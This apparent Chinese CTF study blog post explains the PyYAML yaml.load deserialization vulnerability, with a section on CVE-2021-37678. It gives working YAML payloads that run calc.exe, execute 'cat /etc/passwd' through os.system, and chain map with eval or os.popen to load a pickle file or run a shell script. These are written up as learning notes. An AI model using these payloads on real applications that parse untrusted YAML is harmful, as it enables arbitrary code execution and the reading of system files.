Pyyaml-yaml.load反序列化漏洞

发布于:2023-01-04 ⋅ 阅读:(256) ⋅ 点赞:(0)

#CTF #CTF-漏洞使用

前两天打网鼎杯的时候遇到的这题,在这个反序列化漏洞上,试了很多种方法都没有成功,非常遗憾,所以就简单记录一下yaml.load这个漏洞。

介绍

YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言)。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。

YAML 的配置文件后缀为 .yml,如:blog.yml 。

基础语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • '#'表示注释

数据类型

YAML 支持以下几种数据类型:

  • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
  • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
  • 纯量(scalars):单个的、不可再分的值

Yaml.dump序列化与反序列化

能够将python的多种数据类型的数据转换成Yaml格式的字符串

例如:

例1
例子二
相关操作官方有提供相应的文档PyYaml-官方文档

反序列化漏洞

基本实现操作

这一部分官方文档说明的很清楚[[PyYaml-官方文档#Objects]]

调用自定义的类

例子:

  1. 序列化:
import yaml  
  
class User:  
  
   def __init__(self):  
      self.name = ""  
  
   def set(self,txt):  
      self.name = txt  
  
user = User()  
user.set("Blog")  
  
content = yaml.dump(user)  
print(content)

结果为:

请添加图片描述

  1. 反序列化

继续以上面为例:

sts1 = """!!python/object:__main__.User
name: Blog
"""
sts2 = "!!python/object:__main__.User {name: Blog}"

item1 = yaml.load(sts1)
item2 = yaml.load(sts2)
print(item1)
print(item2)

print(item1.name)
print(item2.name)

请添加图片描述

调用系统函数

很遗憾,经过我的测试,对于PyYaml>=5.1.0版本的yaml.load无法直接执行函数,只能生成函数的对象,例如:

import yaml  
from yaml import Loader  
  
payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]'
yaml.load(payload)

结果:

请添加图片描述

如果想要实现任意代码执行,则需要在yaml.load中加入参数Loader=Loader,并且from yaml import Loader

CVE-2021-37678漏洞

TensorFlow 和 TensorFlow 的封装项目 Keras 的维护人员修复了因 YAML 解析不安全而引发的不可信序列化漏洞。该漏洞的编号为 CVE-2021-37678,为严重漏洞,可使攻击者在应用程序反序列化YAML 格式下的 Keras 模型时执行任意代码。

import yaml
 
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''

yaml.load(payload)
  1. 'extend’的出现
    这个漏洞的原理,我去看了一下yaml.load的源码,似乎发现了一些端倪

请添加图片描述

construct_python_object_apply函数里面,有一个如下的调用:

请添加图片描述

instance是创建的实例,按照listitems的属性,应当是调用.extend在数组末尾添加listitems中的数据,但是当instance是一个字典,并且其中有一个{'extend':function}那么extend就发生了变化,可以实现任意函数的调用了.

  1. type函数

可以看到yaml字符串中有一个!!python/object/new:type,这个是Python的一个函数,我之前只用过type(“add”)这种一个参数的,但是type有好几种参数类型,这里参考[[Type-函数说明]],因此创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数,很神奇

无{}和[]符号反序列化漏洞

下面这两种是我看的其他师傅的方法

!!python/object/new:bytes  
        - !!python/object/new:map  
          - !!python/name:eval  
          - ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]
!!python/object/new:frozenset  
- !!python/object/new:map  
  - !!python/name:os.popen  
  - ["bash /app/fileinfo/cmd"]

实际上tuple也同样

!!python/object/new:tuple  
        - !!python/object/new:map  
          - !!python/name:eval  
          - ["print(123)"]

原理分析

yaml正常无Loader指定时,好像是无法执行函数的命令,因此需要借助其他函数,首先借助的是[[Map-函数说明 | map函数]],由于返回的是一个迭代器,但是如何执行这个迭代器是一个很大的问题,通过查看yaml.load的源码,我最后终于定位到执行!!python...标签的代码了

请添加图片描述

对于上面使用的frozensetbytes以及测试过的tuple就相当于里面的cls,而args参数则是map(function,args)的实例,但是到这一步已经没法再往下找了,后面的代码就无法定位了…
所以只要python某一个内置类cls执行cls.__new__(cls,*args,**kwds)存在任意执行代码就可以使用了

经过测试,发现frozenset/bytes/tuple三个类在这种代码下可以实现任意代码执行

感想

作为WEB菜鸡,记录一下yaml这个漏洞,之后写WP记录一下


网站公告

今日签到

点亮在社区的每一天
去签到